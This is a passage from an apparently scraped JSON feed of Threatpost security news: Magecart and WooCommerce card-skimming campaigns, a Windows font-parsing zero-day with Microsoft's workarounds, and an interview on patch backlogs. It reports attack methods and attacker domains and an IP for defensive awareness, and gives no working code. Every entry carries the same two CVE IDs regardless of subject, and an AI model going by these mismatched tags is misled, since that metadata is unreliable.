(0.5 percent) sites.\n\nThese victims may have been \u201coperating on an outdated content management system (CMS), utilizing unpatched add-ons, or having administrators\u2019 credentials compromised through sequel injections,\u201d said researchers.\n\n## **Changing Tactics**\n\nResearchers warned that Keeper appears to be continually updating its tactics and techniques, helping it to skirt detection. For instance, one of the initial attacks launched in April 2017, against retailer dressedinwhite[.]com, utilized public obfuscation methods, which made it simple to decode. Starting in 2018, however, the threat actors began to use custom obfucscation methods, as seen in an attack against casterdepot[.]com, researchers said.\n\n[![magecart ecommerce](https://media.threatpost.com/wp-content/uploads/sites/103/2020/07/07151921/keeper-magecart-2-300x202.png)](<https://media.threatpost.com/wp-content/uploads/sites/103/2020/07/07151921/keeper-magecart-2.png>)\n\nClick to Expand.\n\nA more recent campaign in 2019 against nomin[.]net also shows a modified script that appears to be much cleaner and more concise with no displayed line breaks, said researchers.\n\n\u201cThe Keeper group currently uses this format for its payloads and denotes specific payment card, billing address and additional information fields that it collects,\u201d researchers said.\n\nGoing forward, researchers warn that in mid-2020, Magecart attacks have become a daily occurrence for small to medium-sized e-commerce businesses, from [food sites](<https://threatpost.com/olympic-ticket-survival-sites-hit-by-cyberattack/152648/>) to [large retailers like Macy\u2019s](<https://threatpost.com/macys-data-breach-linked-to-magecart/150393/>). More recently, sophisticated hackers like [the Lazarus Group](<https://threatpost.com/lazarus-group-adds-magecart/157167/>) have started adding digital payment-card skimming to their repertoire [using Magecart code](<https://threatpost.com/8-city-gov-websites-magecart/156954/>). Researchers predict that in the future, Keeper will continue its attacks.\n\n\u201cBased on this pattern of successful Magecart attacks, Gemini assesses with high confidence that Keeper is likely to continue launching increasingly sophisticated attacks against online merchants across the world,\u201d they said.\n\n**_BEC and enterprise email fraud is surging, but DMARC can help \u2013 if it\u2019s done right. On July 15 at 2 p.m. ET, join Valimail Global Technical Director Steve Whittle and Threatpost for a [FREE webinar](<https://attendee.gotowebinar.com/register/441045308082589963?source=art>), \u201cDMARC: 7 Common Business Email Mistakes.\u201d This technical \u201cbest practices\u201d session will cover constructing, configuring, and managing email authentication protocols to ensure your organization is protected. [Click here to register](<https://attendee.gotowebinar.com/register/441045308082589963?source=art>) for this Threatpost webinar, sponsored by Valimail._**\n", "cvss3": {}, "published": "2020-07-07T20:05:08", "type": "threatpost", "title": "Keeper Threat Group Rakes in $7M from Hundreds of Compromised E-Commerce Sites", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-24400", "CVE-2020-24407"], "modified": "2020-07-07T20:05:08", "id": "THREATPOST:507909D943303F221572F2B4F6F0CCAC", "href": "https://threatpost.com/keeper-threat-group-7m-e-commerce-sites/157235/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-15T22:22:29", "description": "Microsoft is warning of critical zero-day flaws in its Windows operating system that could enable remote code execution. The unpatched flaws are being exploited by attackers in \u201climited, targeted\u201d attacks, the company said.\n\nAccording to Microsoft, two remote code execution vulnerabilities exist in the way that Windows\u2019 Adobe Type Manager Library handles certain fonts. Adobe Type Manager is a font management tool built into both Mac OS and Windows operating systems, and produced by Adobe. While no patches are available for the flaws, workaround mitigations can protect users.\n\n\u201cMicrosoft is aware of limited targeted attacks that could leverage unpatched vulnerabilities in the Adobe Type Manager Library, and is providing the following guidance to help reduce customer risk until the security update is released,\u201d according to a Monday Microsoft [security advisory](<https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/adv200006#ID0EMGAC>).\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nSpecifically, the flaw exists because the Windows version of Adobe Type Manager Library improperly handles a specially-crafted multi-master font (called the Adobe Type 1 PostScript format). [Type 1 vector outline fonts](<https://www.adobe.com/products/type/adobe-type-references-tips/font-formats.html>) are a specialized form of PostScript (the worldwide printing and imaging standard), which contain instructions for building outlines from scaleable lines and curves (filled to create the solid shapes of letters and other glyphs), according to Adobe.\n\n> Microsoft is aware of limited targeted attacks that could leverage unpatched vulnerabilities in the Adobe Type Manager Library, and is providing guidance to help reduce customer risk until the security update is released. See the link for more details. <https://t.co/tUNjkHNZ0N>\n> \n> \u2014 Security Response (@msftsecresponse) [March 23, 2020](<https://twitter.com/msftsecresponse/status/1242135309116043270?ref_src=twsrc%5Etfw>)\n\nThere are multiple ways an attacker could exploit the vulnerabilities, Microsoft said. For example, an attacker could convince a user to open a specially crafted document or view it in the Windows Preview pane. Windows Preview pane is used by the Windows Explorer (which is called File Explorer in Windows 10) file manager application to preview pictures, video, and other content.\n\nAll currently-supported versions of Windows are affected, including Windows 10, as well as versions of Windows 7, Windows 8.1, Windows RT, Windows Server 2008, Windows Server 2012, Windows Server 2016 and Windows Server 2019 (a full list of affected versions can be [found in the advisory](<https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/adv200006#ID0EUGAC>)). Windows 7 is also affected, though it has reached end of support, said Microsoft.\n\n**Workarounds **\n\nWhile no patches are available yet, Microsoft recommended a slew of mitigations and workarounds. That includes disabling the preview pane and details pane in Windows. Blocking this would mean that Windows Explorer (or File Explorer in Windows 10) will not automatically display OpenType fonts.\n\n\u201cDisabling the Preview and Details panes in Windows Explorer prevents the automatic display of OTF fonts in Windows Explorer,\u201d said Microsoft. \u201cWhile this prevents malicious files from being viewed in Windows Explorer, it does not prevent a local, authenticated user from running a specially crafted program to exploit this vulnerability.\u201d\n\nOther workarounds include disabling the WebClient service. Microsoft said that disabling this service blocks the Web Distributed Authoring and Versioning (WebDAV) client service, which is a \u201clikely remote attack vector.\u201d WebDAV is an HTTP extension that allows clients to perform remote Web content authoring operations.\n\n\u201cAfter applying this workaround it is still possible for remote attackers who successfully exploit this vulnerability to cause the system to run programs located on the targeted user\u2019s computer or the Local Area Network (LAN), but users will be prompted for confirmation before opening arbitrary programs from the Internet,\u201d said Microsoft.\n\nAnother workaround is renaming ATMFD.DLL (the file name of Adobe Type Manager Font Driver), said Microsoft. The company also noted that for systems running supported versions of Windows 10, a successful attack could only result in code execution within an AppContainer sandbox context with limited privileges and capabilities.\n\nMicrosoft said it is currently working on a fix and that a patch would likely come during its regularly scheduled Patch Tuesday updates (scheduled for April 14).\n\n\u201cUpdates that address security vulnerabilities in Microsoft software are typically released on Update Tuesday, the second Tuesday of each month,\u201d according to Microsoft. \u201cThis predictable schedule allows for partner quality assurance and IT planning, which helps maintain the Windows ecosystem as a reliable, secure choice for our customers.\u201d\n\n_**Do you suffer from Password Fatigue? On [Wednesday April 8 at 2 p.m. ET](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>) join **_**_Duo Security and Threatpost as we explore a [passwordless](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>) future. This [FREE](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>) webinar maps out a future where modern authentication standards like WebAuthn significantly reduce a dependency on passwords. We\u2019ll also explore how teaming with Microsoft can reduced reliance on passwords. [Please register here](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>) and dare to ask, \u201c[Are passwords overrated?](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>)\u201d in this sponsored webinar. _**\n", "cvss3": {}, "published": "2020-03-23T18:27:40", "type": "threatpost", "title": "Microsoft Warns of Critical Windows Zero-Day Flaws", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-24400", "CVE-2020-24407"], "modified": "2020-03-23T18:27:40", "id": "THREATPOST:5D03069AA1C13F3368E88C9D30D3CC23", "href": "https://threatpost.com/microsoft-warns-of-critical-windows-zero-day-flaws/154040/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-15T22:21:40", "description": "Credit-card-stealing criminals have set their sights on the WordPress plugin known as WooCommerce, an e-tailer platform, with a JavaScript-based card-skimming malware.\n\nSucuri researcher Ben Martin recently investigated a skimmer attack lodged against a WooCommerce site and found that it differs from prior payment-card campaigns that have targeted WordPress-based e-commerce destinations \u2014 in that the malware doesn\u2019t just intercept payment information entered into the fields on a check-out page.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\n\u201c[Attacks on WooCommerce in the past have] typically been limited to modifications of payment details within the plugin settings,\u201d he explained in a [Thursday posting](<https://blog.sucuri.net/2020/04/analysis-of-a-wordpress-credit-card-swiper.html>). \u201cFor example, forwarding payments to the attacker\u2019s PayPal email instead of the legitimate website owner. Seeing a dedicated credit card swiping malware within WordPress is something fairly new.\u201d\n\n**[![WooCommerce, an e-tailer platform](https://media.threatpost.com/wp-content/uploads/sites/103/2020/04/10172927/WooCommerce-4.0-300x158.jpg)](<https://media.threatpost.com/wp-content/uploads/sites/103/2020/04/10172927/WooCommerce-4.0.jpg>)Behind the Scenes**\n\nAfter scanning the infected website, where customers had complained of fraudulent transactions, nothing serious at first seemed amiss, Martin wrote. It took a deeper integrity check of the core files of the site in order to find the stealer.\n\nRather than simply injecting malicious, third-party code \u2013 the typical approach used by Magecart and other groups \u2013 the attackers in this attack modified a normally benign JavaScript file that is intentionally used on the site.\n\n\u201cIt was lodged near the end of a JQuery file: ./wp-includes/js/jquery/jquery.js,\u201d the researcher explained, \u201cinserted before the ending jQuery.noConflict();.\u201d\n\nHe added, \u201cIt\u2019s not so easy to see. The fact that the malware lodged itself within an already existing and legitimate file makes it a bit harder to detect.\u201d\n\nThe part of the script used to actually harvest the card details was found in the \u201c./wp-includes/rest-api/class-wp-rest-api.php\u201d file, according to Martin. It behaves like other PHP malware, he said.\n\n\u201cAs is typical in PHP malware, several layers of encoding and concatenation are employed in an attempt to avoid detection and hide its core code from the average webmaster,\u201d he wrote.\n\nOnce it\u2019s scooped up the payment details, the malicious script saves both the payment-card numbers and CVV card security codes in plain text in the form of cookies. It then uses the legitimate file_put_contents function to collect them into two separate image files (a .PNG file and a JPEG). These are kept in the wp-content/uploads directory structure, the researcher said.\n\nIn his investigation, Martin found the image files to be empty of stolen data \u2013 suggesting that, potentially, \u201cthe malware had the ability to cover its own tracks and auto-cleared these files after the information had been acquired by the attackers,\u201d according to his writeup.\n\n**WordPress Skimmers: A Growing Trend**\n\nWhile well-known card-thieving groups [like Magecart](<https://threatpost.com/emerging-makeframe-skimmer-magecart-smbs/154374/>) typically target e-commerce sites that run on the [Magento platform](<https://threatpost.com/critical-flaws-magento-ecommerce-code-execution/152343/>), WooCommerce has recently become the [market leader](<https://barn2.co.uk/woocommerce-stats/>) for e-commerce platforms, Martin pointed out. And that has, naturally, piqued the attention of cybercriminals looking for new attack surfaces.\n\n\u201cWith WooCommerce recently overtaking all other ecommerce platforms in popularity it was only a matter of time before we started seeing attackers target this platform more frequently,\u201d he said.\n\nHe said that this was the first case of this kind of WordPress-targeted card-skimming malware that he came across, but that a handful more have appeared since, and that \u201cWordPress websites with e-commerce features and online transactions will almost certainly continue to be targeted going forward.\u201d\n\nGiven that attackers are able to compromise websites in any number of ways \u2014 exploiting a [known vulnerable plugin](<https://threatpost.com/wordpress-plugin-bug-popup-builder/153715/>), for instance, or via a [brute-forced admin account](<https://threatpost.com/hackers-using-brute-force-attacks-harvest-wordpress-sites-041513/77730/>) \u2013 a good approach to protecting WooCommerce and other WordPress-based websites from skimmers and other malware is to disable direct file editing for wp-admin, according to Martin.\n\n\u201c[Add the following line to your wp-config.php file: define( \u2018DISALLOW_FILE_EDIT\u2019, true );,\u201d he said. \u201cThis even prevents administrator users from being able to directly edit files from the wp-admin dashboard. In the event of a compromised admin account this can make the difference between the attacker delivering their payload or not.\u201d\n\n**_Worried about your cloud security in the work-from-home era? On _****_April 23 at 2 p.m. ET_****_, join DivvyCloud and Threatpost for a FREE webinar, _**[**_A Practical Guide to Securing the Cloud in the Face of Crisis_**](<https://attendee.gotowebinar.com/register/4136632530104301068?source=art>)**_. Get exclusive research insights and critical, advanced takeaways on how to avoid cloud disruption and chaos in the face of COVID-19 \u2013 and during all times of crisis. _**[**_Please register here_**](<https://attendee.gotowebinar.com/register/4136632530104301068?source=art>)_** for this sponsored webinar.**_\n", "cvss3": {}, "published": "2020-04-10T21:37:37", "type": "threatpost", "title": "WooCommerce Falls to Fresh Card-Skimmer Malware", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-24400", "CVE-2020-24407"], "modified": "2020-04-10T21:37:37", "id": "THREATPOST:A8F8FF80F526883F7B2F0AB15005FF18", "href": "https://threatpost.com/woocommerce-card-skimmer-malware/154699/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-15T22:23:15", "description": "Companies are lagging when it comes to keeping up with software security patches \u2013 causing them to fall into \u201csecurity debt,\u201d Chris Eng, chief research officer with Veracode said.\n\nToday, challenges around patch management are being worsened by applications using third-party code and open source libraries, which often introduce another entire set of vulnerabilities, said Eng, speaking at the [RSA Conference 2020 in San Francisco](<https://threatpost.com/category/rsac/>) last week.\n\n\u201cWhat will happen is companies will get further and further behind on those on those open source version patches,\u201d he said. \u201cAnd the further you get behind, the harder it is to catch up.\u201d\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nThe upside, however, is that researchers are finding that DevOps and security can actually coexist very nicely, creating opportunities to vastly improve software security. \u201cIf you incorporate security in the right way, DevOps is actually a great opportunity to improve the way that you\u2019re doing software security. And so I think that\u2019s the big\u2026 takeaway,\u201d said Eng.\n\nEng discusses the biggest patch management challenges in his full interview with Threatpost, below.\n\n_Below find a lightly edited transcript of the interview. _\n\n**Lindsey O\u2019Donnell Welch**: This is Lindsey O\u2019Donnell Welch with Threatpost, and I\u2019m here today at RSA Conference, joined by Chris Eng with Veracode. Chris, thanks so much for joining us today. How\u2019s your conference been?\n\n**Chris Eng: **It\u2019s been very busy, as usual.\n\n**LO:** It\u2019s always a little crazy, definitely. So, thank you so much for joining us today, I wanted to talk to you about a report that you had released back in October. And it was called the \u201cState of Software Security.\u201d And basically, it was breaking down some of the most prevalent vulnerabilities that were discovered in software, but then also looking at how those vulnerabilities were being addressed and patched and some of the challenges around patch management for companies. Just to start, there is a term that you had used in the report called \u201csecurity debt\u201d \u2013 can you tell us what that term means and how it relates to this report.\n\n**CE:** Yeah, I\u2019ll give you that and kind of a little bit of kind of context for the report. So security debt is kind of if you think about it, anything that you know about in your software, vulnerability wise, that you just select not to fix, that you\u2019re going to fix later. Right? You can think of it like, like financial debt, like racking up, you know, dollars on a credit card, and then paying the minimum each month, right? You\u2019ll eventually get to paying all that down over time, but you\u2019ll pay a lot of interest, it\u2019ll will cost you more, it\u2019ll be more painful. And so we see the same thing with with security debt across the applications that we scan. The report is basically a consolidation of all of the customer scams that happen in our product, so tens of thousands of applications and millions of scans over a one year period. So we can kind of see exactly what\u2019s happening out there, across different industries and so on and what patterns are actually happening.\n\n**LO:** Yeah, that\u2019s really useful information to have obviously. So what are some of the key factors that go into security debt that you guys were specifically looking at?\n\n**CE:** Well, the picture is not the greatest in terms of what we\u2019re seeing out there, we\u2019re seeing over half of applications are actually accumulating more security debt over time. About 25 percent are staying flat, and then 25 percent are actually reducing them. And obviously, that\u2019s what you want, you want to reduce it so that you get to a point where you\u2019ve eliminated all the debt, and then as you go along, you\u2019re detecting new vulnerabilities along the way, but you\u2019re fixing them as they come up, right? Just, again, with the financial analogies, paying down what you spend each month. And a lot of companies are struggling with the security debt for these applications that they may have been building for many years, and just kind of pushing the security vulnerabilities off to the side. So what we really wanted to figure out was, what are the factors that that contribute to how well an organization gets after the security debt. So we looked at a number of different areas there to try and like, find some correlations.\n\n**LO:** Yeah. Can you go deeper into that?\n\n**CE:** Yeah, so \u2013 and some of these are going to seem obvious once you get once you talk about them \u2013 but it\u2019s actually different to have the data behind it and kind of show that that\u2019s the case. One was just scan frequency, right? So if you\u2019re scanning your applications, you know, once a year, or once a month, like that\u2019s not as good as once a day, or more often than that. And so, you know, we found the ones that are scanning more frequently, the most frequently, are fixing stuff about three times faster. And so the amount of security debt, it\u2019s not growing as much.\n\nWe also found that scan cadence matters a lot. So if you imagine over the course of a year, you could be scanning on a steady cadence, like either once a day or once a week or once a year, but at some steady pace, probably built up through some automation and you\u2019ve got some scripts to do whatever. And then you can imagine a different visual picture where you have this like flurry of scanning, right? Like a security sprint type activity, and then you do nothing for six months, and then you decide you\u2019re going to pay attention to it again. So you do this flurry of activity, and then you do nothing. And so we call that \u201cbursty.\u201d And so when you when you compare, like when you take every application that, you know, in the whole data set, and you map it against that, steady versus bursty versus irregular, you find that the steady ones actually do decrease their security debt over time, and the other ones get worse.\n\nSo it\u2019s not a problem that goes away immediately, it\u2019s a lot to deal with, it takes a lot of work to fix these, these coding issues. But you know, there are there are these factors that can make it easier to to overcome.\n\n**LO:** You also looked at vulnerabilities like cross site scripting, all the way up to authentication and misconfigurations. And so how did that relate to the concept of security debt, in terms of how long it was taking companies to patch certain vulnerabilities versus others?\n\n**CE:** Yeah we had a theory that higher severity vulnerabilities \u2013 so ones that were just like, had a higher impact if exploited \u2013 would be fixed faster. That seems reasonable. Or that higher criticality applications like for the business that says, \u201cWell, this applications like way more important business value wise than this other one,\u201d we expected that those, you know, those would be fixed faster. And it turns out that, you may have a little bit of speed improvement on, let\u2019s say, the higher severity versus the medium or low severity flaws, but not significantly. It wasn\u2019t nearly as impactful as the scan frequency and the scan cadence, which was interesting.\n\n**LO:** Yeah.\n\n**CE:** You know, you would just expect that intuitively, to work that way. And it turns out it doesn\u2019t. We looked at a number of factors that we thought might influence that, and it really didn\u2019t. And over the course \u2013 this is the tenth time we\u2019ve done this report \u2013 and, over the course of those years, we are continuing to see the same types of vulnerabilities crop up over and over again, right? They\u2019re not disappearing. If you looked at an individual organization, I think you\u2019d see a downward trend, but as companies are starting to scan more and more of their software that they have, and companies are starting to do security testing that maybe have never done it before, those companies that are improving, those companies that are new, are kind of averaging each other out, right? You still see, the cross site scripting, the SQL injections, and all the issues that we\u2019ve known about for decades.\n\n**LO:** Well, yeah, you mentioned that this is the tenth time done this report, so have you noticed any sort of shifts in terms of things getting better or getting worse or is it remaining the same?\n\n**CE:** You see slight declines in certain categories, especially the ones that are well known, tied to breaches, SQL injection, things like that. But it\u2019s still fairly prevalent. And again, that\u2019s still partly education, partly some applications never having been tested before. And so they\u2019ve got a lot of stuff piled up that that was never addressed. So as we get better with education, as we get better with, again, like better automation of scanning and incorporating it into the development lifecycle at all possible phases, shifting that left and actually, you know, fixing stuff before it gets so expensive to fix. I think we are going to see that get better.\n\n**LO:** Yeah, I mean, can you talk a little bit about patch management in general, and the complexities and challenges that companies are facing every day?\n\n**CE:** Specifically in the software space, what we see a lot of is just like open source use, right? So nobody\u2019s building applications from scratch, right? They\u2019re using open source libraries for a lot of that functionality. And so you may write 10 percent of the code yourself and you may be borrowing the other 90 percent for a new application. And so when you do that, that\u2019s great. You don\u2019t have to reinvent the wheel every time. But you also inherit a lot of the risk from those open source libraries.\n\nAnd what typically happens is you\u2019re developing a new product, you choose those libraries, you download them. And then whatever version those libraries were on at the time, that\u2019s the ones that you stick with it. So as you can imagine, over time, vulnerabilities are discovered in those libraries. And so the security of those libraries gets worse and worse and worse over time. So the patch management issue with regard to software is well, how much risk are these libraries now introducing, and when is the right time to patch those right? If something is is announced, and there\u2019s an exploit for it, I\u2019m suddenly vulnerable today, when yesterday I was fine. And I didn\u2019t make any changes to my software, right? I just, the ecosystem just got worse. So what will happen is companies will get further and further and further behind on those on those open source version patches. And the further you get behind, the harder it is to catch up, if you imagine going from version one to version two on something that\u2019s a lot easier than going from version one to version eight, because things break along the way. So that\u2019s the pattern you see is this inherited risk tends to grow over time. And that is essentially another form of security debt.\n\n**LO:** Right. And that makes it even more complicated, right, because you do have kind of, it\u2019s almost like out of your hands a little bit.\n\n**CE:** It is, things can change underneath you without you actually doing anything. And that\u2019s the sort of the part that\u2019s hard to wrap your head around, you don\u2019t control the risk entirely. You hope that something gets patched around the same time that a vulnerability is announced. But sometimes you\u2019re just left wide open. And you have to figure out a way to kind of code around that. So it\u2019s nearly we\u2019re paying a lot of attention to, the next version of the report that we\u2019re actually working on now. We\u2019re trying to drill in a lot more on the the open source and the third party stuff and and try and find some interesting tidbits that will hopefully tell us a little bit more about what\u2019s happening there.\n\n**LO:** Were there any other key takeaways that you wanted to highlight from this previous report especially looking into 2020?\n\n**CE:** I think, really, the takeaway for us is, you know, there\u2019s been a lot of tension, I think, between DevOps and security in the past, there\u2019s a notion that, well, DevOps is trying to move so quickly, and how can they possibly do that? Because where will the security happen? Right? And so some security professionals that haven\u2019t really kind of caught onto how DevOps is working are a little bit afraid of what that\u2019s going to do to the safety of their software.\n\nAt the same time, you want the developers to be able to create business value and like code and solve these problems confidently and put the software out there in a secure manner. So what we\u2019re finding especially with that scan cadence and scan frequency thing is that DevOps and security can actually coexist very nicely. And in fact, the practices that DevOps brings to software development actually are beneficial for security as well, that regularity that automation, the feedback loops. And so if you incorporate security in the right way, DevOps is actually a great opportunity to improve the way that you\u2019re doing software security. And so I think that\u2019s the big, the big takeaway.\n\n**LO:** Definitely something to keep an eye on. Well, Chris, thank you so much for joining us today at RSA to talk about your report and what you\u2019re seeing in terms of vulnerabilities and how they\u2019re being addressed.\n\n**CE:** My pleasure, nice talking to you.\n\n**LO:** Great. Thank you.\n", "cvss3": {}, "published": "2020-03-05T19:53:16", "type": "threatpost", "title": "Chris Eng: Patch Management Challenges Drive 'Security Debt'", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-24400", "CVE-2020-24407"], "modified": "2020-03-05T19:53:16", "id": "THREATPOST:81EBB25A8E63A83670A070DD550D9644", "href": "https://threatpost.com/chris-eng-patch-management-challenges-drive-security-debt/153471/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-15T22:29:38", "description": "In an interesting development on the financial cybercrime scene, different Magecart groups have been spotting stepping over each other and attacking the same sites.\n\nMagecart is an umbrella term encompassing several different threat groups who all use the same modus operandi: They compromise websites built on the Magento e-commerce platform in order to inject card-skimming scripts on checkout pages, stealing unsuspecting customers\u2019 payment card details and other information entered into the fields on the page.\n\nAccording to research from PerimeterX, multiple Magecart attacks are skimming credit cards from sites at the same time. These don\u2019t seem to be coordinated, according to the firm, given that each of the attacks were different in terms of the techniques used to compromise the target retailers.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nIdo Safruti, co-founder and CTO of PerimeterX, said in an email interview that the presence of multiple skimmers indicates that the Magecart groups are less affiliated with each other than many believe.\n\n\u201cFrom we\u2019ve learned so far, this is a cybercrime-as-a-service operation where multiple groups operate and breach websites, Magento-based and others, and they use different skimming kits purchased on the Dark Web,\u201d he told Threatpost. \u201cCybercriminals are taking advantage of any new opportunity. When a specific type of attack has been published or exposed and studied, many crime groups will try and take advantage of the new attack and the new techniques used in it.\u201d\n\n**Multiple Skimmer Discovery**\n\nIn researching recent Magecart attacks on clothing e-shop Sixth June that came to light last week, PerimeterX researchers found the Sixth June skimmed data being posted to a domain called mogento[dot]info, which was also hosting the skimmer. Scanning the web for other sites posting data to that same domain uncovered several other infected sites, including tubing-and-valve specialist PEXSuperstore.com. Further investigation showed that PEXSuperstore was also infected with a second Magecart skimmer \u2014 only this one was exfiltrating card data to https://assetstorage[dot]net/PEXSuperstore.com.\n\n\u201cThe two skimmers were completely different from each other in terms of code, obfuscation level and complexity,\u201d explained PerimeterX research lead Mickey Alton, [in a posting on Monday](<https://www.perimeterx.com/blog/multiple-magecart-groups-attacking-simultaneously/>). \u201cBut, both attacks targeted Magento-based sites and used similar methods of code injection, and served malicious first-party code to unsuspecting users.\u201d\n\nMore specifically, the Sixth June attacker directly compromised the PEXSuperstore website (e.g., used \u201cfirst-party code\u201d), with a decoy code snippet that masqueraded as a Google Analytics script. The decoy script then pulled in an obfuscated snippet that loaded the skimmer from a remote server controlled by the attacker. The second Magecart attacker on the other hand compromised the website by simply modifying the website\u2019s own script related to the checkout process, injecting skimming code at the bottom of the original script.\n\n\u201cThis skimmer was on the checkout page sniffing users\u2019 [personally identifiable information] PII data and sending post requests to assetstorage[dot]net,\u201d wrote Alton. \u201cWhen placing an order, the compromised first-party checkout script is called and executes the skimmer\u2026.we can only surmise that the web server security controls were bypassed to make changes to the website.\u201d\n\nThe second skimmer host,assetstorage[dot]net, was found to be related to a much larger campaign, with the same MO used to target sportswear giant UmbroBrasil and other lesser-known websites.\n\nIt also appears that the double-dipping isn\u2019t intentional; PerimeterX researchers surmised that the Magecart groups are likely running attack campaigns simultaneously without realizing it.\n\n\u201cIn recent years the cybercrime world has evolved much like the software and cloud world has evolved with many groups offering services to perform specific tasks \u2013 like infecting a server, loading a payload, or providing a specific payload to carry an attack,\u201d Safruti told Threatpost. \u201cThis is why we see more attacks using identical mechanisms and potentially multiple attackers infecting the same breached site(s), similar to the fact that many competing startups may be running their services on the same cloud vendor, and using the same open-source libraries.\u201d\n\nMagecart, in operation since 2015, is a collection of groups that have been blamed for an array of high-profile breaches \u2013 from [Ticketmaster](<https://threatpost.com/ticketmaster-breach-just-one-part-of-a-wide-ranging-campaign/133892/>) to [British Airways](<https://threatpost.com/magecart-group-pinned-in-recent-british-airways-breach/137338/>). Skimmers be injected directly into websites (as is the case with First Aid Beauty), or through compromised third-party suppliers used by sites.\n\nMore recently, in August it was [disclosed](<https://threatpost.com/magecart-ecommerce-card-skimming-bonanza/147765/>) that more than 80 global eCommerce sites were actively compromised by Magecart groups, while a September report found that [a faction](<https://threatpost.com/magecart-group-targets-routers-behind-public-wi-fi-networks/148662/>) of the Magecart threat group is testing code that targets routers used to provide free or paid Wi-Fi services in public spaces and hotel.\n\n_**What are the top mistakes leading to data breaches at modern enterprises? Find out: Join an expert from SpyCloud and Threatpost senior editor Tara Seals on our upcoming free **_[_**Threatpost webinar**_](<https://attendee.gotowebinar.com/register/3127445778613605890?source=ART>)_**, \u201cTrends in Fortune 1000 Breach Exposure.\u201d **_[_**Click here to register**_](<https://attendee.gotowebinar.com/register/3127445778613605890?source=ART>)_**.**_\n", "cvss3": {}, "published": "2019-11-04T22:17:33", "type": "threatpost", "title": "Magecart Groups Attack Simultaneous Sites in Card-Theft Frenzy", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-24400", "CVE-2020-24407"], "modified": "2019-11-04T22:17:33", "id": "THREATPOST:75F9985EEED2523C6C65016DB1C5630A", "href": "https://threatpost.com/magecart-groups-attack-simultaneous-sites-in-card-theft-frenzy/149872/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-15T22:13:59", "description": "One of the largest known Magecart campaigns to date took place over the weekend, with nearly 2,000 e-commerce sites hacked in an automated campaign that may be linked to a zero-day exploit. The attacks have impacted tens of thousands of customers, who had their credit-card and other information stolen, researchers said.\n\nAccording to Sansec Threat Intelligence, online stores running Magento versions 1 and 2 are being targeted in a classic Magecart attack pattern, where e-commerce sites are hacked, either via a common vulnerability or stolen credentials. If a compromise is successful, merchant websites are then injected with a web skimmer, which surreptitiously exfiltrates personal and banking information entered by customers during the online checkout process.\n\nThe firm\u2019s telemetry picked up \u201c1904 distinct Magento stores with a unique keylogger (skimmer) on the checkout page,\u201d the firm said [in a posting](<https://sansec.io/research/largest-magento-hack-to-date>) on Monday. \u201cOn Friday, 10 stores got infected, then 1058 on Saturday, 603 on Sunday and 233 today\u2026.Most stores were running Magento version 1, which was announced end-of-life last June. However, some stores were running Magento 2.\u201d\n\n[![Threatpost Webinar Promo Bug Bounty](https://media.threatpost.com/wp-content/uploads/sites/103/2020/09/04091928/bounty_webinar_promo_small.gif)](<https://threatpost.com/webinars/five-essentials-for-running-a-successful-bug-bounty-program/>)\n\nClick to register.\n\nIn delving into the campaign, Sansec researchers were able to determine that many victimized stores had no prior history of security incidents; and, they speculated that the attacks may be linked to a $5,000 Magento exploit that went up for sale in August in underground forums. The zero-day allows a brand-new avenue to gaining server (write) access to fully patched websites.\n\n\u201cUser z3r0day announced on a hacking forum to sell a Magento 1 remote code-execution exploit method, including instruction video, for $5,000,\u201d according to Sansec, who added that the seller pledged to only sell 10 copies of the exploit.\n\n\u201cAllegedly, no prior Magento admin account is required,\u201d the firm noted. \u201cSeller z3r0day stressed that \u2013 because Magento 1 is end-of-life \u2013 no official patches will be provided by Adobe to fix this bug, which renders this exploit extra-damaging to store owners using the legacy platform.\u201d\n\nAround 95,000 Magento 1 stores are still operating despite the lack of support, the firm added.\n\nSansec\u2019s forensic investigation showed that on Magento 1 stores, a skimmer was injected into the file \u201cprototype.js,\u201d which is part of a standard Magento installation. For the affected Magento 2 stores, a skimmer was found in a jquery.js file, hidden in the Magento 2 code base. In both cases, the same malware is loaded from a malicious mcdnn.net domain, while the data is exfiltrated to a Moscow-hosted site at https://imags.pw/502.jsp, on the same network as the mcdnn.net domain.\n\n\u201cAttacker(s) used the U.S.-based IP 92.242.62.210 to interact with the Magento admin panel, and used the \u2018Magento Connect\u2019 feature to download and install various files, including a malware called mysql.php. This file was automatically deleted after the malicious code was added to prototype.js.\u201d\n\nThe web server logs indicate that numerous attempts were made to install files over the weekend, possibly to install improved versions of the skimmer.\n\n\u201cThis automated campaign is by far the largest one that Sansec has identified since it started monitoring in 2015,\u201d researchers said. \u201cThe previous record was 962 hacked stores in a single day in July last year. The massive scope of this weekend\u2019s incident illustrates increased sophistication and profitability of web skimming. Criminals have been increasingly automating their hacking operations to run web skimming schemes on as many stores as possible.\u201d\n\nResearchers recently reported that they have seen[ an uptick in the number of e-commerce sites ](<https://threatpost.com/8-city-gov-websites-magecart/156954/>)that are being attacked by Magecart and related groups, dovetailing with new tactics. Earlier in September, Magecart was seen [using the secure messaging service 